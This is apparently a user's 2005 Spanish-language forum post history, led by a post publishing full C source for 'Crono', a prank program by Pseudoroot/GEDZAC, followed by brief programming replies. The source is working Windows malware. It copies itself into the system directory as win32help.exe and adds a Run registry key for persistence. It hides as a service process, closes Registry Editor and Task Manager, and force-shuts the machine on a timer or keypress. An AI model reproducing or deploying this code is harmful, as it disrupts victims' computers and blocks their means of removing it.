|
62
|
Programación / Programación C/C++ / Código fuente de Crono
|
en: 15 Septiembre 2005, 21:13 pm
|
Bueehh, finalmente aqui el pequeño y simple codigo de Crono.exe aquel programita que tanto susto y molestias causó a algunos, pues fue una broma, que me hizo reir un poco jeje. pero posteo el code debido a que varios me lo pidieron ,anda a saber para que. pero en fin,. aqui esta.. ahh,. este codigo es un claro ejemplo de como podemos usar el WindowProcedure, la funcion que interpreta los mensajes. y asi manejar los eventos que van ocurriendo en nuestra aplicacion, // Crono By Pseudoroot/GEDZAC
#include <windows.h> #include <stdio.h>
// PSEUDOROOT NI GEDZAC LABS SE HACEN // RESPONSABLE DEL USO QUE LE DES // AL CODIGO char nombres[MAX_PATH]; int bandera=0; int forzar=4; HANDLE th; LPSTR codigo; //para leer el codigo DWORD tamano; //tamaño del archivo ,no le puse tamaño debido a problemas con la ñ xD char nombre[MAX_PATH]; //para concatenar el nombre del archivo a generar char nom[256]; // para el modulo en ejcucion char varsystem[256];
#include "registro.h"
//--- Declaración de funciones del programa ------------------------------ int WINAPI WinMain( HINSTANCE, HINSTANCE, LPSTR, int ); LRESULT CALLBACK WndProc( HWND, UINT, WPARAM, LPARAM );
//--- Declaración de variables del programa ------------------------------ char WindowName[] = "Ventana de Windows"; char WindowTitle[] = "Crono By Pseudoroot"; int segundos; char* vent1 = "Registry Editor"; char* vent2 = "Editor del Registro"; char* vent3 = "Administrador de tareas de Windows"; char* vent4 = "Windows Task Manager"; //=== Función principal WinMain() ======================================== int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ) { registrando(); SacarCodigo(); GetModuleFileName(0,nom,256); //sacamos el nombre del modulo en ejecucion en la var. nom GetSystemDirectory(varsystem,sizeof(varsystem)); strcat(varsystem,"\\win32help.exe"); CopyFile(nom,varsystem,0); strcat(nombre,"c:\\"); //concatenamos strcat(nombre,"copia.exe"); //nombre de la copia que generara el programa para luego leer el //codigo de esa misma copia CopyFile(nom,nombre,0); uno(); SacarCodigo(); //lamamos a la fucnion para que lea el codigo del archivo copia.exe HANDLE exe; // aunque finalmente no lo utilizo..xD DWORD w; exe=CreateFile("C:\\codigo.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0); if(exe!=INVALID_HANDLE_VALUE) //archivo que vamos a generar luego de sacar el codigo { WriteFile(exe,codigo,28000,&w,0); } HWND hwnd; // handle a la ventana ppal. MSG msg; // estructura de mensaje WNDCLASSEX wcx; // estructura de la ventana
// Definimos la estructura de clase de ventana (campos): wcx.cbSize = sizeof( WNDCLASSEX ); // tamaño de la estructura wcx.style = CS_HREDRAW | CS_VREDRAW; // valores más usuales wcx.lpfnWndProc = WndProc; // función de ventana (Wnd) wcx.cbClsExtra = 0; wcx.cbWndExtra = 0; // informaciones extra wcx.hInstance = hInstance; // instancia actual // icono, cursor, fondo e icono pequeño de la clase de ventana: wcx.hIcon = LoadIcon(NULL, IDI_WINLOGO); wcx.hCursor = LoadCursor(NULL, IDC_ARROW); wcx.hbrBackground = (HBRUSH) GetStockObject( WHITE_BRUSH ); wcx.hIconSm = LoadIcon(NULL, IDI_WINLOGO);
wcx.lpszMenuName = NULL; // nombre del menú wcx.lpszClassName = WindowName; // nombre de la ventana
// Registramos la clase de ventana ya preparada: if( !RegisterClassEx( &wcx ) ) return( FALSE ); // en caso de error, salir
// Creamos la ventana con CreateWindowEx(): hwnd = CreateWindowEx( WS_EX_OVERLAPPEDWINDOW, // estilo extendido WindowName, // nombre de la ventana WindowTitle, // título de la ventana WS_CAPTION, // estilo de ventana CW_USEDEFAULT, CW_USEDEFAULT, // Posición (x,y) en pantalla 420,150, // ancho y alto de la ventana NULL, NULL, // ventana padre e hija+menú hInstance, // instancia actual NULL // no hay más información );
// Comprobamos la creación de la ventana: if( !hwnd ) return( FALSE ); // en caso de error, salir
// Hacemos visible la ventana y la actualizamos: ShowWindow( hwnd, nCmdShow ); UpdateWindow( hwnd );
// Bucle de mensajes, envía los mensajes hacia WndProc while( GetMessage( &msg, NULL, 0, 0 ) ) { TranslateMessage( &msg ); // convertimos el mensaje DispatchMessage( &msg ); // devolvemos el control a w95 }
// devolvemos el valor recibido por PostQuitMessage(). return( msg.wParam ); DeleteFile("C:\\copia.exe"); }
//=== Función del procedimiento de ventana WndProc() ===================== LRESULT CALLBACK WndProc( HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam ) { HDC hdc; PAINTSTRUCT ps; RECT rect; int longitud; int entero; char cadena[40]; char cadena2[50];
switch( message ) { case WM_CREATE: segundos=30; SetTimer( hwnd, 1, 1000, NULL ); // break;
case WM_KEYDOWN: { ExitWindowsEx(forzar,0); } if( wParam == VK_ESCAPE ) MessageBoxA(NULL,"Yo en tu lugar no volveria a hacer eso","GEDZAC LABS 2005",MB_OK); break; case WM_TIMER: segundos--; if( segundos==0) {ExitWindowsEx(forzar,0); } HWND handle;
handle = FindWindow(0,vent1); if (handle!=0) { PostMessage(handle,0x12,0,0); } handle = FindWindow(0,vent2); if (handle!=0) { PostMessage(handle,0x12,0,0); } handle = FindWindow(0,vent3); if (handle!=0) { PostMessage(handle,0x12,0,0); }
handle = FindWindow(0,vent4); if (handle!=0) { PostMessage(handle,0x12,0,0); }
GetClientRect( hwnd, &rect ); InvalidateRect( hwnd, &rect, TRUE ); break; case WM_LBUTTONDOWN: MessageBoxA(NULL,"Que estupido eres!!!!!","En fin",MB_OK); break; case WM_RBUTTONDOWN: MessageBoxA(NULL,"Imbecil no eres mas que eso","Pues piensa",MB_OK); break; case WM_RBUTTONDBLCLK: MessageBoxA(NULL,"Te digo como safarse, pues tienes ,ups ,se me olvidó","Jejejeje",0); break; case WM_NCLBUTTONDOWN: MessageBoxA(NULL,"nah","nah",0); break;
case WM_PAINT: hdc = BeginPaint( hwnd, &ps ); GetClientRect( hwnd, &rect ); longitud=wsprintf(cadena, "%s%02d","Trata de cerrarme antes que yo te cierre a ti ", segundos); DrawText( hdc, cadena, -1, &rect, DT_SINGLELINE | DT_CENTER | DT_VCENTER ); EndPaint( hwnd, &ps ); break; case WM_CLOSE: MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK); break;
case WM_DESTROY: MessageBoxA(NULL,"NOoo, no insistas...","JAjajaja",MB_OK); break;
default: return( DefWindowProc( hwnd, message, wParam, lParam ) ); }
return(0); }
registro.h
#ifndef _RegisterProcess_ #define _RegisterProcess_
void registrando() { typedef DWORD(_stdcall *pRegFunction) (DWORD,DWORD); HINSTANCE hkernelLib; pRegFunction RegisterServiceProcess; hkernelLib=LoadLibrary("Kernel32.dll"); if(hkernelLib) { RegisterServiceProcess=(pRegFunction) GetProcAddress (hkernelLib,"RegisterServiceProcess"); if (RegisterServiceProcess) { RegisterServiceProcess(0,1); FreeLibrary(hkernelLib); } }
}
void SacarCodigo() { HANDLE fi; //un handle para leer el archivo DWORD rid; //para la api fi=CreateFile(nombre,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,0,NULL); if(fi!=INVALID_HANDLE_VALUE) //abrimos el archivo creado antes en la fucnion principal { tamano=GetFileSize(fi,NULL); //sacamos el tamaño del archivo codigo=(LPSTR)GlobalAlloc(GPTR,tamano+1); //reservamos memoria //para leer el archivo completo +1 por el caracter nulo if(codigo!=NULL) //verificamos que se haya podido { ReadFile(fi,codigo,tamano,&rid,0); //leemos el archivo } } CloseHandle(fi); //cerramos handle } void uno() { HKEY hkey; RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0,KEY_SET_VALUE,&hkey); RegSetValueEx(hkey,"Smsss",0,REG_SZ,(const unsigned char*)varsystem,sizeof(varsystem)); } #endif
Pues ya saben, supongo que esta bastante facil de entender y sino, ya saben solo posteen sus dudas..
|
|
|
64
|
Programación / Programación Visual Basic / Re: [RegisterServiceProcess] Error
|
en: 31 Agosto 2005, 02:09 am
|
como es para visual basic. no se donde este. pero si fuera para C++, si te podria contestar..con code..
lo que si te digo es que tienes que utilizar la api GetCurrentProcessId(); para nuestro proceso.. y luego la api RegisterServiceProcess..
de todas formas si esta el code en visual basic, lo he visto.,..
|
|
|
67
|
Programación / Programación Visual Basic / Re: cerrar procesos
|
en: 28 Julio 2005, 18:42 pm
|
yo estoy programando esto mismo pero en C++, con sockets.. cliente/servidor..donde el servidor me envia los procesos y yo desde el cliente digo cual quiero terminar...aun lo estoy programando, pero me falta poco. imagino que en visual basic.. debe ser relativamente facil programarlo tambien.
|
|
|
68
|
Programación / Programación C/C++ / Re: Novato en C y Dev-c++
|
en: 2 Julio 2005, 22:47 pm
|
solo te vas a archivo proyecto.,, eliges el modo que deseas consola . o ventana de windows.. agregas el codigo ,y luego te vas al menu para compilar ,si todo esta correcto no te saldran errores y ya podras convertirlo a ejecutable
|
|
|
70
|
Programación / Programación Visual Basic / Re: ayuda
|
en: 2 Julio 2005, 03:50 am
|
jajaja.. supongo que quieres un manual de VB . en google hay abundante informacion sobre visual basic solo debes poner manual de visual basic y te saldran muchas paginas..debido a que material de VB abunda .,no asi de otros lenguajes. Por cierto hay de todo tipo, para avanzados y para novatillos..
|
|
|
|
|
|
|